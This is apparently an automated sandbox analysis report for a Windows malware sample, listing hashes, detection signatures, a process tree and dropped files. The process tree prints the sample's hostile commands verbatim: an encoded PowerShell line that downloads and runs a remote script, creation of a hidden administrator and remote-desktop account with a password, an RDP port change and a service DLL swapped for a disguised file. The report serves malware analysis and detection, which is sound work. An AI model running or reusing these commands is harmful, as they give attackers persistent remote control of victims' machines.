Analysis

  • max time kernel
    49s
  • max time network
    113s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    20-07-2021 09:16

General

  • Target

    exe1.bin.exe

  • Size

    4.6MB

  • MD5

    eaee663dfeb2efcd9ec669f5622858e2

  • SHA1

    2b96f0d568128240d0c53b2a191467fde440fd93

  • SHA256

    6c4aab4c3bd1ba8f77a781d70ecbc1b4c7dfd9d3c7ad60158fb8d35d1d4246e2

  • SHA512

    211951f053ddecc6e0545a83119112d6ad375e226437d6a26ed493b362e51da3718131d59fb045c9b2feea91e04d3b82e9be4e52a46fe2e84ed4f3b4ed2213b3

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\exe1.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\exe1.bin.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2416
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0oh2zeve\0oh2zeve.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2824
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFF4.tmp" "c:\Users\Admin\AppData\Local\Temp\0oh2zeve\CSC73CAA211EA44F09634A317902A77D0.TMP"
          4⤵
            PID:1428
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3872
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2008
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4224
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:4660
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:4680
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:4700
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4876
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:4896
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4928
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4944
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4960
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:4980
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5000
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:5016
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:5032
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:5052
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:4248
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:2348
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1920
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4136
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:4156
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc a8OeqOZ0 /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4176
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc a8OeqOZ0 /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1428
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc a8OeqOZ0 /add
                          3⤵
                            PID:2164
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2344
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2348
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:4232
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4324
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4416
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              3⤵
                                PID:4432
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4452
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4492
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:4364
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc a8OeqOZ0
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4328
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc a8OeqOZ0
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:4520
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc a8OeqOZ0
                                  3⤵
                                    PID:4256
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:4536
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                    PID:4576
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C wmic CPU get NAME
                                  1⤵
                                    PID:4264
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic CPU get NAME
                                      2⤵
                                        PID:2128
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                      1⤵
                                        PID:4640
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                          2⤵
                                            PID:4684
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              3⤵
                                              • Blocklisted process makes network request
                                              • Drops file in Program Files directory
                                              • Drops file in Windows directory
                                              • Modifies data under HKEY_USERS
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:4704

                                        Network

                                        MITRE ATT&CK Enterprise v6

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • C:\Users\Admin\AppData\Local\Temp\0oh2zeve\0oh2zeve.dll

                                          MD5

                                          8307b1ccd9644ce9fca4e1e69cd4a3f1

                                          SHA1

                                          e8c60fbe21eeb0cc9666e40c6789864422223b6f

                                          SHA256

                                          f1a0be8ca304128474019504bc192fb896d58fe3c6f96ece7ff3857c7f0d8f81

                                          SHA512

                                          09dd084a96ee5d89cc8d9c7fa07f9506d28822e7a34327dc42677de45340d935ced4605667b64b4afb4c4ee7b4765646626329321dc2be6598d9f360f0ffe1d3

                                        • C:\Users\Admin\AppData\Local\Temp\RESFF4.tmp

                                          MD5

                                          736174f3b5b458ba1d217896a14f4b0f

                                          SHA1

                                          7ae1b95420d1a255777a82be4f48ff8f03a04b4f

                                          SHA256

                                          cb5f85407b0e80ed898a3f1bf58db26065f57af31cb2f6c697166db509ac9dad

                                          SHA512

                                          e656ebcb3d53a77dc810dc776e24ad7fd854fff604642557e0bf92e4ecc95af74816ebe63a66689541b1ae0fdd4f3dddcb873e0a5430d61271502e1fa0393883

                                        • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                          MD5

                                          3447df88de7128bdc34942334b2fab98

                                          SHA1

                                          519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

                                          SHA256

                                          9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

                                          SHA512

                                          2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

                                        • C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

                                          MD5

                                          43473f4e719958639a9d89e5d8388999

                                          SHA1

                                          ccb79eb606a23daa4b3ff8f996a2fbf281f31491

                                          SHA256

                                          ce84b142a2983e1f60b3051cbff38153424a016178ce3fcf703e3694eb474734

                                          SHA512

                                          1051092c5eae13758e8e01086907effc5c603cc1f9456fb2cdb951cb4b196c5c3d089ffd2e981b5d6731b0e6b24402fb2808a20f66ac6dcb1704a8f4b457b1fa

                                        • \??\c:\Users\Admin\AppData\Local\Temp\0oh2zeve\0oh2zeve.0.cs

                                          MD5

                                          4864fc038c0b4d61f508d402317c6e9a

                                          SHA1

                                          72171db3eea76ecff3f7f173b0de0d277b0fede7

                                          SHA256

                                          0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

                                          SHA512

                                          9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

                                        • \??\c:\Users\Admin\AppData\Local\Temp\0oh2zeve\0oh2zeve.cmdline

                                          MD5

                                          d722ad1eacd192e12df0ba2fb28951b4

                                          SHA1

                                          d22ba3ccb96380f57c0b1a639597a2fd84d3b090

                                          SHA256

                                          e813cefcca45cc4fa9959a53f2af1a877296eab8ad9312175bb3abf100b092b0

                                          SHA512

                                          afb7c694fdb5139f4ccec4ac9103dc4aec6a96fd20113e0bdefc1e1bdcde3f86e773757b71e7e35c38dad44f24ea260aa5885aaa5cbcb88fdbfffc56d29de23b

                                        • \??\c:\Users\Admin\AppData\Local\Temp\0oh2zeve\CSC73CAA211EA44F09634A317902A77D0.TMP

                                          MD5

                                          7068c371e467d4f1f0ef646581709c79

                                          SHA1

                                          04a6971a0ac7026230918bdd618764be707f0216

                                          SHA256

                                          db30b6120715a4d1f2e30c58a1892dca24af57f1f0e2826cf203167e44d854c1

                                          SHA512

                                          6fc5ab8e42b065d07741964be6bd12f1e2118178126cfec8c665b3b3467398fc8638d7ed6ffa7833c88a178b39ad037fbaec243ded8d25fe0109fb22cc78dbeb

                                        • \Windows\Branding\mediasrv.png

                                          MD5

                                          271eacd9c9ec8531912e043bc9c58a31

                                          SHA1

                                          c86e20c2a10fd5c5bae4910a73fd62008d41233b

                                          SHA256

                                          177d6aab26c15ecf87f29f92ad0eaff355d195de1c0ef17d9cb9b7483c288934

                                          SHA512

                                          87375d3e0c2505ff8d5860db4a9a2cbb88da73f492f2be937b1dfd1afa37133061b7c69121727728835eaf545ce1850ec4889bad33366b8d4dadd7838af791c0

                                        • \Windows\Branding\mediasvc.png

                                          MD5

                                          1fa9c1e185a51b6ed443dd782b880b0d

                                          SHA1

                                          50145abf336a196183882ef960d285bd77dd3490

                                          SHA256

                                          f25560518e8bebbc0abdde4c0241833e432ad4c56f934bb18067c1abf7305959

                                          SHA512

                                          16bd50a904fa062f8ec6e41f00000da5d0221164c3eda90bc1791e195b25ef74bb9e1264d7536c204f9a01ca1489ae43484ceb1e7bb4f650aacf90fa16f1c9fc

                                        • memory/1428-356-0x0000000000000000-mapping.dmp

                                        • memory/1428-140-0x0000000000000000-mapping.dmp

                                        • memory/2008-250-0x0000019829CB6000-0x0000019829CB8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2008-215-0x0000019829CB3000-0x0000019829CB5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2008-251-0x0000019829CB8000-0x0000019829CBA000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2008-203-0x0000000000000000-mapping.dmp

                                        • memory/2008-214-0x0000019829CB0000-0x0000019829CB2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2128-367-0x0000000000000000-mapping.dmp

                                        • memory/2164-357-0x0000000000000000-mapping.dmp

                                        • memory/2348-358-0x0000000000000000-mapping.dmp

                                        • memory/2348-450-0x0000000000000000-mapping.dmp

                                        • memory/2416-144-0x000001C26B3E0000-0x000001C26B3E1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2416-152-0x000001C26B438000-0x000001C26B439000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2416-153-0x000001C26C900000-0x000001C26C901000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2416-120-0x0000000000000000-mapping.dmp

                                        • memory/2416-129-0x000001C26BF60000-0x000001C26BF61000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2416-151-0x000001C26C570000-0x000001C26C571000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2416-131-0x000001C26B430000-0x000001C26B432000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2416-146-0x000001C26B436000-0x000001C26B438000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2416-134-0x000001C26B433000-0x000001C26B435000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2416-125-0x000001C26B3B0000-0x000001C26B3B1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2824-137-0x0000000000000000-mapping.dmp

                                        • memory/3872-171-0x0000014EE2433000-0x0000014EE2435000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3872-212-0x0000014EE2438000-0x0000014EE243A000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3872-194-0x0000014EE2436000-0x0000014EE2438000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3872-170-0x0000014EE2430000-0x0000014EE2432000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3872-160-0x0000000000000000-mapping.dmp

                                        • memory/3968-114-0x0000014EDF9E0000-0x0000014EDFC8A000-memory.dmp

                                          Filesize

                                          2.7MB

                                        • memory/3968-117-0x0000014EDF723000-0x0000014EDF725000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3968-116-0x0000014EDF720000-0x0000014EDF722000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3968-118-0x0000014EDF725000-0x0000014EDF726000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3968-119-0x0000014EDF726000-0x0000014EDF727000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/4136-354-0x0000000000000000-mapping.dmp

                                        • memory/4156-355-0x0000000000000000-mapping.dmp

                                        • memory/4224-287-0x0000016AF2910000-0x0000016AF2912000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4224-291-0x0000016AF2918000-0x0000016AF291A000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4224-290-0x0000016AF2916000-0x0000016AF2918000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4224-289-0x0000016AF2913000-0x0000016AF2915000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4224-242-0x0000000000000000-mapping.dmp

                                        • memory/4232-359-0x0000000000000000-mapping.dmp

                                        • memory/4248-449-0x0000000000000000-mapping.dmp

                                        • memory/4256-365-0x0000000000000000-mapping.dmp

                                        • memory/4364-363-0x0000000000000000-mapping.dmp

                                        • memory/4416-360-0x0000000000000000-mapping.dmp

                                        • memory/4432-361-0x0000000000000000-mapping.dmp

                                        • memory/4492-362-0x0000000000000000-mapping.dmp

                                        • memory/4520-364-0x0000000000000000-mapping.dmp

                                        • memory/4576-366-0x0000000000000000-mapping.dmp

                                        • memory/4660-301-0x0000000000000000-mapping.dmp

                                        • memory/4680-302-0x0000000000000000-mapping.dmp

                                        • memory/4684-368-0x0000000000000000-mapping.dmp

                                        • memory/4700-303-0x0000000000000000-mapping.dmp

                                        • memory/4704-395-0x000001515DCC8000-0x000001515DCC9000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/4704-369-0x0000000000000000-mapping.dmp

                                        • memory/4704-382-0x000001515DCC0000-0x000001515DCC2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4704-384-0x000001515DCC3000-0x000001515DCC5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4704-394-0x000001515DCC6000-0x000001515DCC8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4876-340-0x0000000000000000-mapping.dmp

                                        • memory/4896-341-0x0000000000000000-mapping.dmp

                                        • memory/4928-344-0x0000000000000000-mapping.dmp

                                        • memory/4944-345-0x0000000000000000-mapping.dmp

                                        • memory/4960-346-0x0000000000000000-mapping.dmp

                                        • memory/4980-347-0x0000000000000000-mapping.dmp

                                        • memory/5000-348-0x0000000000000000-mapping.dmp

                                        • memory/5016-349-0x0000000000000000-mapping.dmp

                                        • memory/5032-350-0x0000000000000000-mapping.dmp

                                        • memory/5052-351-0x0000000000000000-mapping.dmp